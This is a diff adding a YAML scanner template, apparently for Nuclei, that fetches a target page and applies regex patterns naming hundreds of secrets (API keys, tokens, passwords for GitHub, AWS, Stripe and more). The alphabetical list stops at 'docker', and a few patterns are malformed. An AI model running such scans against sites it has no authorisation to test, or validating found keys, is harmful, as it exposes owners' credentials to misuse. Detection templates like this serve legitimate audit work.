+# Extract secrets regex like api keys, password, token, etc ... for different services
+# Always validate the leaked key/tokens/passwords to make sure it's valid, a token/keys without any impact is not an valid issue.
+# Severity is not fixed in this case, it varies from none to critical depending upon impact of disclosed key/tokes.
+# Regex count:- 687
+
+info:
+  name: Credentials Disclosure Check
+  author: Sy3Omda
+  severity: medium
+  description: Look for multiple keys/tokens/passwords in the page response.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - "zopim[_-]?account[_-]?key(=| =|:| :)"
+          - "zhuliang[_-]?gh[_-]?token(=| =|:| :)"
+          - "zensonatypepassword(=| =|:| :)"
+          - "zendesk[_-]?travis[_-]?github(=| =|:| :)"
+          - "yt[_-]?server[_-]?api[_-]?key(=| =|:| :)"
+          - "yt[_-]?partner[_-]?refresh[_-]?token(=| =|:| :)"
+          - "yt[_-]?partner[_-]?client[_-]?secret(=| =|:| :)"
+          - "yt[_-]?client[_-]?secret(=| =|:| :)"
+          - "yt[_-]?api[_-]?key(=| =|:| :)"
+          - "yt[_-]?account[_-]?refresh[_-]?token(=| =|:| :)"
+          - "yt[_-]?account[_-]?client[_-]?secret(=| =|:| :)"
+          - "yangshun[_-]?gh[_-]?token(=| =|:| :)"
+          - "yangshun[_-]?gh[_-]?password(=| =|:| :)"
+          - "www[_-]?googleapis[_-]?com(=| =|:| :)"
+          - "wpt[_-]?ssh[_-]?private[_-]?key[_-]?base64(=| =|:| :)"
+          - "wpt[_-]?ssh[_-]?connect(=| =|:| :)"
+          - "wpt[_-]?report[_-]?api[_-]?key(=| =|:| :)"
+          - "wpt[_-]?prepare[_-]?dir(=| =|:| :)"
+          - "wpt[_-]?db[_-]?user(=| =|:| :)"
+          - "wpt[_-]?db[_-]?password(=| =|:| :)"
+          - "wporg[_-]?password(=| =|:| :)"
+          - "wpjm[_-]?phpunit[_-]?google[_-]?geocode[_-]?api[_-]?key(=| =|:| :)"
+          - "wordpress[_-]?db[_-]?user(=| =|:| :)"
+          - "wordpress[_-]?db[_-]?password(=| =|:| :)"
+          - "wincert[_-]?password(=| =|:| :)"
+          - "widget[_-]?test[_-]?server(=| =|:| :)"
+          - "widget[_-]?fb[_-]?password[_-]?3(=| =|:| :)"
+          - "widget[_-]?fb[_-]?password[_-]?2(=| =|:| :)"
+          - "widget[_-]?fb[_-]?password(=| =|:| :)"
+          - "widget[_-]?basic[_-]?password[_-]?5(=| =|:| :)"
+          - "widget[_-]?basic[_-]?password[_-]?4(=| =|:| :)"
+          - "widget[_-]?basic[_-]?password[_-]?3(=| =|:| :)"
+          - "widget[_-]?basic[_-]?password[_-]?2(=| =|:| :)"
+          - "widget[_-]?basic[_-]?password(=| =|:| :)"
+          - "watson[_-]?password(=| =|:| :)"
+          - "watson[_-]?device[_-]?password(=| =|:| :)"
+          - "watson[_-]?conversation[_-]?password(=| =|:| :)"
+          - "wakatime[_-]?api[_-]?key(=| =|:| :)"
+          - "vscetoken(=| =|:| :)"
+          - "visual[_-]?recognition[_-]?api[_-]?key(=| =|:| :)"
+          - "virustotal[_-]?apikey(=| =|:| :)"
+          - "vip[_-]?github[_-]?deploy[_-]?key[_-]?pass(=| =|:| :)"
+          - "vip[_-]?github[_-]?deploy[_-]?key(=| =|:| :)"
+          - "vip[_-]?github[_-]?build[_-]?repo[_-]?deploy[_-]?key(=| =|:| :)"
+          - "v[_-]?sfdc[_-]?password(=| =|:| :)"
+          - "v[_-]?sfdc[_-]?client[_-]?secret(=| =|:| :)"
+          - "usertravis(=| =|:| :)"
+          - "user[_-]?assets[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+          - "user[_-]?assets[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+          - "use[_-]?ssh(=| =|:| :)"
+          - "us[_-]?east[_-]?1[_-]?elb[_-]?amazonaws[_-]?com(=| =|:| :)"
+          - "urban[_-]?secret(=| =|:| :)"
+          - "urban[_-]?master[_-]?secret(=| =|:| :)"
+          - "urban[_-]?key(=| =|:| :)"
+          - "unity[_-]?serial(=| =|:| :)"
+          - "unity[_-]?password(=| =|:| :)"
+          - "twitteroauthaccesstoken(=| =|:| :)"
+          - "twitteroauthaccesssecret(=| =|:| :)"
+          - "twitter[_-]?consumer[_-]?secret(=| =|:| :)"
+          - "twitter[_-]?consumer[_-]?key(=| =|:| :)"
+          - "twine[_-]?password(=| =|:| :)"
+          - "twilio[_-]?token(=| =|:| :)"
+          - "twilio[_-]?sid(=| =|:| :)"
+          - "twilio[_-]?configuration[_-]?sid(=| =|:| :)"
+          - "twilio[_-]?chat[_-]?account[_-]?api[_-]?service(=| =|:| :)"
+          - "twilio[_-]?api[_-]?secret(=| =|:| :)"
+          - "twilio[_-]?api[_-]?key(=| =|:| :)"
+          - "trex[_-]?okta[_-]?client[_-]?token(=| =|:| :)"
+          - "trex[_-]?client[_-]?token(=| =|:| :)"
+          - "travis[_-]?token(=| =|:| :)"
+          - "travis[_-]?secure[_-]?env[_-]?vars(=| =|:| :)"
+          - "travis[_-]?pull[_-]?request(=| =|:| :)"
+          - "travis[_-]?gh[_-]?token(=| =|:| :)"
+          - "travis[_-]?e2e[_-]?token(=| =|:| :)"
+          - "travis[_-]?com[_-]?token(=| =|:| :)"
+          - "travis[_-]?branch(=| =|:| :)"
+          - "travis[_-]?api[_-]?token(=| =|:| :)"
+          - "travis[_-]?access[_-]?token(=| =|:| :)"
+          - "token[_-]?core[_-]?java(=| =|:| :)"
+          - "thera[_-]?oss[_-]?access[_-]?key(=| =|:| :)"
+          - "tester[_-]?keys[_-]?password(=| =|:| :)"
+          - "test[_-]?test(=| =|:| :)"
+          - "test[_-]?github[_-]?token(=| =|:| :)"
+          - "tesco[_-]?api[_-]?key(=| =|:| :)"
+          - "svn[_-]?pass(=| =|:| :)"
+          - "surge[_-]?token(=| =|:| :)"
+          - "surge[_-]?login(=| =|:| :)"
+          - "stripe[_-]?public(=| =|:| :)"
+          - "stripe[_-]?private(=| =|:| :)"
+          - "strip[_-]?secret[_-]?key(=| =|:| :)"
+          - "strip[_-]?publishable[_-]?key(=| =|:| :)"
+          - "stormpath[_-]?api[_-]?key[_-]?secret(=| =|:| :)"
+          - "stormpath[_-]?api[_-]?key[_-]?id(=| =|:| :)"
+          - "starship[_-]?auth[_-]?token(=| =|:| :)"
+          - "starship[_-]?account[_-]?sid(=| =|:| :)"
+          - "star[_-]?test[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+          - "star[_-]?test[_-]?location(=| =|:| :)"
+          - "star[_-]?test[_-]?bucket(=| =|:| :)"
+          - "star[_-]?test[_-]?aws[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+          - "staging[_-]?base[_-]?url[_-]?runscope(=| =|:| :)"
+          - "ssmtp[_-]?config(=| =|:| :)"
+          - "sshpass(=| =|:| :)"
+          - "srcclr[_-]?api[_-]?token(=| =|:| :)"
+          - "square[_-]?reader[_-]?sdk[_-]?repository[_-]?password(=| =|:| :)"
+          - "sqssecretkey(=| =|:| :)"
+          - "sqsaccesskey(=| =|:| :)"
+          - "spring[_-]?mail[_-]?password(=| =|:| :)"
+          - "spotify[_-]?api[_-]?client[_-]?secret(=| =|:| :)"
+          - "spotify[_-]?api[_-]?access[_-]?token(=| =|:| :)"
+          - "spaces[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+          - "spaces[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+          - "soundcloud[_-]?password(=| =|:| :)"
+          - "soundcloud[_-]?client[_-]?secret(=| =|:| :)"
+          - "sonatypepassword(=| =|:| :)"
+          - "sonatype[_-]?token[_-]?user(=| =|:| :)"
+          - "sonatype[_-]?token[_-]?password(=| =|:| :)"
+          - "sonatype[_-]?password(=| =|:| :)"
+          - "sonatype[_-]?pass(=| =|:| :)"
+          - "sonatype[_-]?nexus[_-]?password(=| =|:| :)"
+          - "sonatype[_-]?gpg[_-]?passphrase(=| =|:| :)"
+          - "sonatype[_-]?gpg[_-]?key[_-]?name(=| =|:| :)"
+          - "sonar[_-]?token(=| =|:| :)"
+          - "sonar[_-]?project[_-]?key(=| =|:| :)"
+          - "sonar[_-]?organization[_-]?key(=| =|:| :)"
+          - "socrata[_-]?password(=| =|:| :)"
+          - "socrata[_-]?app[_-]?token(=| =|:| :)"
+          - "snyk[_-]?token(=| =|:| :)"
+          - "snyk[_-]?api[_-]?token(=| =|:| :)"
+          - "snoowrap[_-]?refresh[_-]?token(=| =|:| :)"
+          - "snoowrap[_-]?password(=| =|:| :)"
+          - "snoowrap[_-]?client[_-]?secret(=| =|:| :)"
+          - "slate[_-]?user[_-]?email(=| =|:| :)"
+          - "slash[_-]?developer[_-]?space[_-]?key(=| =|:| :)"
+          - "slash[_-]?developer[_-]?space(=| =|:| :)"
+          - "signing[_-]?key[_-]?sid(=| =|:| :)"
+          - "signing[_-]?key[_-]?secret(=| =|:| :)"
+          - "signing[_-]?key[_-]?password(=| =|:| :)"
+          - "signing[_-]?key(=| =|:| :)"
+          - "setsecretkey(=| =|:| :)"
+          - "setdstsecretkey(=| =|:| :)"
+          - "setdstaccesskey(=| =|:| :)"
+          - "ses[_-]?secret[_-]?key(=| =|:| :)"
+          - "ses[_-]?access[_-]?key(=| =|:| :)"
+          - "service[_-]?account[_-]?secret(=| =|:| :)"
+          - "sentry[_-]?key(=| =|:| :)"
+          - "sentry[_-]?endpoint(=| =|:| :)"
+          - "sentry[_-]?default[_-]?org(=| =|:| :)"
+          - "sentry[_-]?auth[_-]?token(=| =|:| :)"
+          - "sendwithus[_-]?key(=| =|:| :)"
+          - "sendgrid[_-]?username(=| =|:| :)"
+          - "sendgrid[_-]?user(=| =|:| :)"
+          - "sendgrid[_-]?password(=| =|:| :)"
+          - "sendgrid[_-]?key(=| =|:| :)"
+          - "sendgrid[_-]?api[_-]?key(=| =|:| :)"
+          - "sendgrid(=| =|:| :)"
+          - "selion[_-]?selenium[_-]?host(=| =|:| :)"
+          - "selion[_-]?log[_-]?level[_-]?dev(=| =|:| :)"
+          - "segment[_-]?api[_-]?key(=| =|:| :)"
+          - "secretkey(=| =|:| :)"
+          - "secretaccesskey(=| =|:| :)"
+          - "secret[_-]?key[_-]?base(=| =|:| :)"
+          - "secret[_-]?9(=| =|:| :)"
+          - "secret[_-]?8(=| =|:| :)"
+          - "secret[_-]?7(=| =|:| :)"
+          - "secret[_-]?6(=| =|:| :)"
+          - "secret[_-]?5(=| =|:| :)"
+          - "secret[_-]?4(=| =|:| :)"
+          - "secret[_-]?3(=| =|:| :)"
+          - "secret[_-]?2(=| =|:| :)"
+          - "secret[_-]?11(=| =|:| :)"
+          - "secret[_-]?10(=| =|:| :)"
+          - "secret[_-]?1(=| =|:| :)"
+          - "secret[_-]?0(=| =|:| :)"
+          - "sdr[_-]?token(=| =|:| :)"
+          - "scrutinizer[_-]?token(=| =|:| :)"
+          - "sauce[_-]?access[_-]?key(=| =|:| :)"
+          - "sandbox[_-]?aws[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+          - "sandbox[_-]?aws[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+          - "sandbox[_-]?access[_-]?token(=| =|:| :)"
+          - "salesforce[_-]?bulk[_-]?test[_-]?security[_-]?token(=| =|:| :)"
+          - "salesforce[_-]?bulk[_-]?test[_-]?password(=| =|:| :)"
+          - "sacloud[_-]?api(=| =|:| :)"
+          - "sacloud[_-]?access[_-]?token[_-]?secret(=| =|:| :)"
+          - "sacloud[_-]?access[_-]?token(=| =|:| :)"
+          - "s3[_-]?user[_-]?secret(=| =|:| :)"
+          - "s3[_-]?secret[_-]?key(=| =|:| :)"
+          - "s3[_-]?secret[_-]?assets(=| =|:| :)"
+          - "s3[_-]?secret[_-]?app[_-]?logs(=| =|:| :)"
+          - "s3[_-]?key[_-]?assets(=| =|:| :)"
+          - "s3[_-]?key[_-]?app[_-]?logs(=| =|:| :)"
+          - "s3[_-]?key(=| =|:| :)"
+          - "s3[_-]?external[_-]?3[_-]?amazonaws[_-]?com(=| =|:| :)"
+          - "s3[_-]?bucket[_-]?name[_-]?assets(=| =|:| :)"
+          - "s3[_-]?bucket[_-]?name[_-]?app[_-]?logs(=| =|:| :)"
+          - "s3[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+          - "s3[_-]?access[_-]?key(=| =|:| :)"
+          - "rubygems[_-]?auth[_-]?token(=| =|:| :)"
+          - "rtd[_-]?store[_-]?pass(=| =|:| :)"
+          - "rtd[_-]?key[_-]?pass(=| =|:| :)"
+          - "route53[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+          - "ropsten[_-]?private[_-]?key(=| =|:| :)"
+          - "rinkeby[_-]?private[_-]?key(=| =|:| :)"
+          - "rest[_-]?api[_-]?key(=| =|:| :)"
+          - "repotoken(=| =|:| :)"
+          - "reporting[_-]?webdav[_-]?url(=| =|:| :)"
+          - "reporting[_-]?webdav[_-]?pwd(=| =|:| :)"
+          - "release[_-]?token(=| =|:| :)"
+          - "release[_-]?gh[_-]?token(=| =|:| :)"
+          - "registry[_-]?secure(=| =|:| :)"
+          - "registry[_-]?pass(=| =|:| :)"
+          - "refresh[_-]?token(=| =|:| :)"
+          - "rediscloud[_-]?url(=| =|:| :)"
+          - "redis[_-]?stunnel[_-]?urls(=| =|:| :)"
+          - "randrmusicapiaccesstoken(=| =|:| :)"
+          - "rabbitmq[_-]?password(=| =|:| :)"
+          - "quip[_-]?token(=| =|:| :)"
+          - "qiita[_-]?token(=| =|:| :)"
+          - "pypi[_-]?passowrd(=| =|:| :)"
+          - "pushover[_-]?token(=| =|:| :)"
+          - "publish[_-]?secret(=| =|:| :)"
+          - "publish[_-]?key(=| =|:| :)"
+          - "publish[_-]?access(=| =|:| :)"
+          - "project[_-]?config(=| =|:| :)"
+          - "prod[_-]?secret[_-]?key(=| =|:| :)"
+          - "prod[_-]?password(=| =|:| :)"
+          - "prod[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+          - "private[_-]?signing[_-]?password(=| =|:| :)"
+          - "pring[_-]?mail[_-]?username(=| =|:| :)"
+          - "preferred[_-]?username(=| =|:| :)"
+          - "prebuild[_-]?auth(=| =|:| :)"
+          - "postgresql[_-]?pass(=| =|:| :)"
+          - "postgresql[_-]?db(=| =|:| :)"
+          - "postgres[_-]?env[_-]?postgres[_-]?password(=| =|:| :)"
+          - "postgres[_-]?env[_-]?postgres[_-]?db(=| =|:| :)"
+          - "plugin[_-]?password(=| =|:| :)"
+          - "plotly[_-]?apikey(=| =|:| :)"
+          - "places[_-]?apikey(=| =|:| :)"
+          - "places[_-]?api[_-]?key(=| =|:| :)"
+          - "pg[_-]?host(=| =|:| :)"
+          - "pg[_-]?database(=| =|:| :)"
+          - "personal[_-]?secret(=| =|:| :)"
+          - "personal[_-]?key(=| =|:| :)"
+          - "percy[_-]?token(=| =|:| :)"
+          - "percy[_-]?project(=| =|:| :)"
+          - "paypal[_-]?client[_-]?secret(=| =|:| :)"
+          - "passwordtravis(=| =|:| :)"
+          - "parse[_-]?js[_-]?key(=| =|:| :)"
+          - "pagerduty[_-]?apikey(=| =|:| :)"
+          - "packagecloud[_-]?token(=| =|:| :)"
+          - "ossrh[_-]?username(=| =|:| :)"
+          - "ossrh[_-]?secret(=| =|:| :)"
+          - "ossrh[_-]?password(=| =|:| :)"
+          - "ossrh[_-]?pass(=| =|:| :)"
+          - "ossrh[_-]?jira[_-]?password(=| =|:| :)"
+          - "os[_-]?password(=| =|:| :)"
+          - "os[_-]?auth[_-]?url(=| =|:| :)"
+          - "org[_-]?project[_-]?gradle[_-]?sonatype[_-]?nexus[_-]?password(=| =|:| :)"
+          - "org[_-]?gradle[_-]?project[_-]?sonatype[_-]?nexus[_-]?password(=| =|:| :)"
+          - "openwhisk[_-]?key(=| =|:| :)"
+          - "open[_-]?whisk[_-]?key(=| =|:| :)"
+          - "onesignal[_-]?user[_-]?auth[_-]?key(=| =|:| :)"
+          - "onesignal[_-]?api[_-]?key(=| =|:| :)"
+          - "omise[_-]?skey(=| =|:| :)"
+          - "omise[_-]?pubkey(=| =|:| :)"
+          - "omise[_-]?pkey(=| =|:| :)"
+          - "omise[_-]?key(=| =|:| :)"
+          - "okta[_-]?oauth2[_-]?clientsecret(=| =|:| :)"
+          - "okta[_-]?oauth2[_-]?client[_-]?secret(=| =|:| :)"
+          - "okta[_-]?client[_-]?token(=| =|:| :)"
+          - "ofta[_-]?secret(=| =|:| :)"
+          - "ofta[_-]?region(=| =|:| :)"
+          - "ofta[_-]?key(=| =|:| :)"
+          - "octest[_-]?password(=| =|:| :)"
+          - "octest[_-]?app[_-]?username(=| =|:| :)"
+          - "octest[_-]?app[_-]?password(=| =|:| :)"
+          - "oc[_-]?pass(=| =|:| :)"
+          - "object[_-]?store[_-]?creds(=| =|:| :)"
+          - "object[_-]?store[_-]?bucket(=| =|:| :)"
+          - "object[_-]?storage[_-]?region[_-]?name(=| =|:| :)"
+          - "object[_-]?storage[_-]?password(=| =|:| :)"
+          - "oauth[_-]?token(=| =|:| :)"
+          - "numbers[_-]?service[_-]?pass(=| =|:| :)"
+          - "nuget[_-]?key(=| =|:| :)"
+          - "nuget[_-]?apikey(=| =|:| :)"
+          - "nuget[_-]?api[_-]?key(=| =|:| :)"
+          - "npm[_-]?token(=| =|:| :)"
+          - "npm[_-]?secret[_-]?key(=| =|:| :)"
+          - "npm[_-]?password(=| =|:| :)"
+          - "npm[_-]?email(=| =|:| :)"
+          - "npm[_-]?auth[_-]?token(=| =|:| :)"
+          - "npm[_-]?api[_-]?token(=| =|:| :)"
+          - "npm[_-]?api[_-]?key(=| =|:| :)"
+          - "now[_-]?token(=| =|:| :)"
+          - "non[_-]?token(=| =|:| :)"
+          - "node[_-]?pre[_-]?gyp[_-]?secretaccesskey(=| =|:| :)"
+          - "node[_-]?pre[_-]?gyp[_-]?github[_-]?token(=| =|:| :)"
+          - "node[_-]?pre[_-]?gyp[_-]?accesskeyid(=| =|:| :)"
+          - "node[_-]?env(=| =|:| :)"
+          - "ngrok[_-]?token(=| =|:| :)"
+          - "ngrok[_-]?auth[_-]?token(=| =|:| :)"
+          - "nexuspassword(=| =|:| :)"
+          - "nexus[_-]?password(=| =|:| :)"
+          - "new[_-]?relic[_-]?beta[_-]?token(=| =|:| :)"
+          - "netlify[_-]?api[_-]?key(=| =|:| :)"
+          - "nativeevents(=| =|:| :)"
+          - "mysqlsecret(=| =|:| :)"
+          - "mysqlmasteruser(=| =|:| :)"
+          - "mysql[_-]?username(=| =|:| :)"
+          - "mysql[_-]?user(=| =|:| :)"
+          - "mysql[_-]?root[_-]?password(=| =|:| :)"
+          - "mysql[_-]?password(=| =|:| :)"
+          - "mysql[_-]?hostname(=| =|:| :)"
+          - "mysql[_-]?database(=| =|:| :)"
+          - "my[_-]?secret[_-]?env(=| =|:| :)"
+          - "multi[_-]?workspace[_-]?sid(=| =|:| :)"
+          - "multi[_-]?workflow[_-]?sid(=| =|:| :)"
+          - "multi[_-]?disconnect[_-]?sid(=| =|:| :)"
+          - "multi[_-]?connect[_-]?sid(=| =|:| :)"
+          - "multi[_-]?bob[_-]?sid(=| =|:| :)"
+          - "minio[_-]?secret[_-]?key(=| =|:| :)"
+          - "minio[_-]?access[_-]?key(=| =|:| :)"
+          - "mile[_-]?zero[_-]?key(=| =|:| :)"
+          - "mh[_-]?password(=| =|:| :)"
+          - "mh[_-]?apikey(=| =|:| :)"
+          - "mg[_-]?public[_-]?api[_-]?key(=| =|:| :)"
+          - "mg[_-]?api[_-]?key(=| =|:| :)"
+          - "mapboxaccesstoken(=| =|:| :)"
+          - "mapbox[_-]?aws[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+          - "mapbox[_-]?aws[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+          - "mapbox[_-]?api[_-]?token(=| =|:| :)"
+          - "mapbox[_-]?access[_-]?token(=| =|:| :)"
+          - "manifest[_-]?app[_-]?url(=| =|:| :)"
+          - "manifest[_-]?app[_-]?token(=| =|:| :)"
+          - "mandrill[_-]?api[_-]?key(=| =|:| :)"
+          - "managementapiaccesstoken(=| =|:| :)"
+          - "management[_-]?token(=| =|:| :)"
+          - "manage[_-]?secret(=| =|:| :)"
+          - "manage[_-]?key(=| =|:| :)"
+          - "mailgun[_-]?secret[_-]?api[_-]?key(=| =|:| :)"
+          - "mailgun[_-]?pub[_-]?key(=| =|:| :)"
+          - "mailgun[_-]?pub[_-]?apikey(=| =|:| :)"
+          - "mailgun[_-]?priv[_-]?key(=| =|:| :)"
+          - "mailgun[_-]?password(=| =|:| :)"
+          - "mailgun[_-]?apikey(=| =|:| :)"
+          - "mailgun[_-]?api[_-]?key(=| =|:| :)"
+          - "mailer[_-]?password(=| =|:| :)"
+          - "mailchimp[_-]?key(=| =|:| :)"
+          - "mailchimp[_-]?api[_-]?key(=| =|:| :)"
+          - "mail[_-]?password(=| =|:| :)"
+          - "magento[_-]?password(=| =|:| :)"
+          - "magento[_-]?auth[_-]?username (=| =|:| :)"
+          - "magento[_-]?auth[_-]?password(=| =|:| :)"
+          - "lottie[_-]?upload[_-]?cert[_-]?key[_-]?store[_-]?password(=| =|:| :)"
+          - "lottie[_-]?upload[_-]?cert[_-]?key[_-]?password(=| =|:| :)"
+          - "lottie[_-]?s3[_-]?secret[_-]?key(=| =|:| :)"
+          - "lottie[_-]?happo[_-]?secret[_-]?key(=| =|:| :)"
+          - "lottie[_-]?happo[_-]?api[_-]?key(=| =|:| :)"
+          - "looker[_-]?test[_-]?runner[_-]?client[_-]?secret(=| =|:| :)"
+          - "ll[_-]?shared[_-]?key(=| =|:| :)"
+          - "ll[_-]?publish[_-]?url(=| =|:| :)"
+          - "linux[_-]?signing[_-]?key(=| =|:| :)"
+          - "linkedin[_-]?client[_-]?secretor lottie[_-]?s3[_-]?api[_-]?key(=| =|:| :)"
+          - "lighthouse[_-]?api[_-]?key(=| =|:| :)"
+          - "lektor[_-]?deploy[_-]?username(=| =|:| :)"
+          - "lektor[_-]?deploy[_-]?password(=| =|:| :)"
+          - "leanplum[_-]?key(=| =|:| :)"
+          - "kxoltsn3vogdop92m(=| =|:| :)"
+          - "kubeconfig(=| =|:| :)"
+          - "kubecfg[_-]?s3[_-]?path(=| =|:| :)"
+          - "kovan[_-]?private[_-]?key(=| =|:| :)"
+          - "keystore[_-]?pass(=| =|:| :)"
+          - "kafka[_-]?rest[_-]?url(=| =|:| :)"
+          - "kafka[_-]?instance[_-]?name(=| =|:| :)"
+          - "kafka[_-]?admin[_-]?url(=| =|:| :)"
+          - "jwt[_-]?secret(=| =|:| :)"
+          - "jdbc:mysql(=| =|:| :)"
+          - "jdbc[_-]?host(=| =|:| :)"
+          - "jdbc[_-]?databaseurl(=| =|:| :)"
+          - "itest[_-]?gh[_-]?token(=| =|:| :)"
+          - "ios[_-]?docs[_-]?deploy[_-]?token(=| =|:| :)"
+          - "internal[_-]?secrets(=| =|:| :)"
+          - "integration[_-]?test[_-]?appid(=| =|:| :)"
+          - "integration[_-]?test[_-]?api[_-]?key(=| =|:| :)"
+          - "index[_-]?name(=| =|:| :)"
+          - "ij[_-]?repo[_-]?username(=| =|:| :)"
+          - "ij[_-]?repo[_-]?password(=| =|:| :)"
+          - "hub[_-]?dxia2[_-]?password(=| =|:| :)"
+          - "homebrew[_-]?github[_-]?api[_-]?token(=| =|:| :)"
+          - "hockeyapp[_-]?token(=| =|:| :)"
+          - "heroku[_-]?token(=| =|:| :)"
+          - "heroku[_-]?email(=| =|:| :)"
+          - "heroku[_-]?api[_-]?key(=| =|:| :)"
+          - "hb[_-]?codesign[_-]?key[_-]?pass(=| =|:| :)"
+          - "hb[_-]?codesign[_-]?gpg[_-]?pass(=| =|:| :)"
+          - "hab[_-]?key(=| =|:| :)"
+          - "hab[_-]?auth[_-]?token(=| =|:| :)"
+          - "grgit[_-]?user(=| =|:| :)"
+          - "gren[_-]?github[_-]?token(=| =|:| :)"
+          - "gradle[_-]?signing[_-]?password(=| =|:| :)"
+          - "gradle[_-]?signing[_-]?key[_-]?id(=| =|:| :)"
+          - "gradle[_-]?publish[_-]?secret(=| =|:| :)"
+          - "gradle[_-]?publish[_-]?key(=| =|:| :)"
+          - "gpg[_-]?secret[_-]?keys(=| =|:| :)"
+          - "gpg[_-]?private[_-]?key(=| =|:| :)"
+          - "gpg[_-]?passphrase(=| =|:| :)"
+          - "gpg[_-]?ownertrust(=| =|:| :)"
+          - "gpg[_-]?keyname(=| =|:| :)"
+          - "gpg[_-]?key[_-]?name(=| =|:| :)"
+          - "google[_-]?private[_-]?key(=| =|:| :)"
+          - "google[_-]?maps[_-]?api[_-]?key(=| =|:| :)"
+          - "google[_-]?client[_-]?secret(=| =|:| :)"
+          - "google[_-]?client[_-]?id(=| =|:| :)"
+          - "google[_-]?client[_-]?email(=| =|:| :)"
+          - "google[_-]?account[_-]?type(=| =|:| :)"
+          - "gogs[_-]?password(=| =|:| :)"
+          - "gitlab[_-]?user[_-]?email(=| =|:| :)"
+          - "github[_-]?tokens(=| =|:| :)"
+          - "github[_-]?token(=| =|:| :)"
+          - "github[_-]?repo(=| =|:| :)"
+          - "github[_-]?release[_-]?token(=| =|:| :)"
+          - "github[_-]?pwd(=| =|:| :)"
+          - "github[_-]?password(=| =|:| :)"
+          - "github[_-]?oauth[_-]?token(=| =|:| :)"
+          - "github[_-]?oauth(=| =|:| :)"
+          - "github[_-]?key(=| =|:| :)"
+          - "github[_-]?hunter[_-]?username(=| =|:| :)"
+          - "github[_-]?hunter[_-]?token(=| =|:| :)"
+          - "github[_-]?deployment[_-]?token(=| =|:| :)"
+          - "github[_-]?deploy[_-]?hb[_-]?doc[_-]?pass(=| =|:| :)"
+          - "github[_-]?client[_-]?secret(=| =|:| :)"
+          - "github[_-]?auth[_-]?token(=| =|:| :)"
+          - "github[_-]?auth(=| =|:| :)"
+          - "github[_-]?api[_-]?token(=| =|:| :)"
+          - "github[_-]?api[_-]?key(=| =|:| :)"
+          - "github[_-]?access[_-]?token(=| =|:| :)"
+          - "git[_-]?token(=| =|:| :)"
+          - "git[_-]?name(=| =|:| :)"
+          - "git[_-]?email(=| =|:| :)"
+          - "git[_-]?committer[_-]?name(=| =|:| :)"
+          - "git[_-]?committer[_-]?email(=| =|:| :)"
+          - "git[_-]?author[_-]?name(=| =|:| :)"
+          - "git[_-]?author[_-]?email(=| =|:| :)"
+          - "ghost[_-]?api[_-]?key(=| =|:| :)"
+          - "ghb[_-]?token(=| =|:| :)"
+          - "gh[_-]?unstable[_-]?oauth[_-]?client[_-]?secret(=| =|:| :)"
+          - "gh[_-]?token(=| =|:| :)"
+          - "gh[_-]?repo[_-]?token(=| =|:| :)"
+          - "gh[_-]?oauth[_-]?token(=| =|:| :)"
+          - "gh[_-]?oauth[_-]?client[_-]?secret(=| =|:| :)"
+          - "gh[_-]?next[_-]?unstable[_-]?oauth[_-]?client[_-]?secret(=| =|:| :)"
+          - "gh[_-]?next[_-]?unstable[_-]?oauth[_-]?client[_-]?id(=| =|:| :)"
+          - "gh[_-]?next[_-]?oauth[_-]?client[_-]?secret(=| =|:| :)"
+          - "gh[_-]?email(=| =|:| :)"
+          - "gh[_-]?api[_-]?key(=| =|:| :)"
+          - "gcs[_-]?bucket(=| =|:| :)"
+          - "gcr[_-]?password(=| =|:| :)"
+          - "gcloud[_-]?service[_-]?key(=| =|:| :)"
+          - "gcloud[_-]?project(=| =|:| :)"
+          - "gcloud[_-]?bucket(=| =|:| :)"
+          - "ftp[_-]?username(=| =|:| :)"
+          - "ftp[_-]?user(=| =|:| :)"
+          - "ftp[_-]?pw(=| =|:| :)"
+          - "ftp[_-]?password(=| =|:| :)"
+          - "ftp[_-]?login(=| =|:| :)"
+          - "ftp[_-]?host(=| =|:| :)"
+          - "fossa[_-]?api[_-]?key(=| =|:| :)"
+          - "flickr[_-]?api[_-]?secret(=| =|:| :)"
+          - "flickr[_-]?api[_-]?key(=| =|:| :)"
+          - "flask[_-]?secret[_-]?key(=| =|:| :)"
+          - "firefox[_-]?secret(=| =|:| :)"
+          - "firebase[_-]?token(=| =|:| :)"
+          - "firebase[_-]?project[_-]?develop(=| =|:| :)"
+          - "firebase[_-]?key(=| =|:| :)"
+          - "firebase[_-]?api[_-]?token(=| =|:| :)"
+          - "firebase[_-]?api[_-]?json(=| =|:| :)"
+          - "file[_-]?password(=| =|:| :)"
+          - "exp[_-]?password(=| =|:| :)"
+          - "eureka[_-]?awssecretkey(=| =|:| :)"
+          - "env[_-]?sonatype[_-]?password(=| =|:| :)"
+          - "env[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+          - "env[_-]?secret(=| =|:| :)"
+          - "env[_-]?key(=| =|:| :)"
+          - "env[_-]?heroku[_-]?api[_-]?key(=| =|:| :)"
+          - "env[_-]?github[_-]?oauth[_-]?token(=| =|:| :)"
+          - "end[_-]?user[_-]?password(=| =|:| :)"
+          - "encryption[_-]?password(=| =|:| :)"
+          - "elasticsearch[_-]?password(=| =|:| :)"
+          - "elastic[_-]?cloud[_-]?auth(=| =|:| :)"
+          - "dsonar[_-]?projectkey(=| =|:| :)"
+          - "dsonar[_-]?login(=| =|:| :)"
+          - "droplet[_-]?travis[_-]?password(=| =|:| :)"
+          - "dropbox[_-]?oauth[_-]?bearer(=| =|:| :)"
+          - "doordash[_-]?auth[_-]?token(=| =|:| :)"
+          - "dockerhubpassword(=| =|:| :)"
+          - "dockerhub[_-]?password(=| =|:| :)"
+          - "docker[_-]?token(=| =|:| :)"
+          - "docker[_-]?postgres[_-]?url(=| =|:| :)"
+          - "docker[_-]?password(=| =|:| :)"
+          - "docker[_-]?passwd(=| =|:| :)"
+          - "docker[_-]?pass(=| =|:| :)"
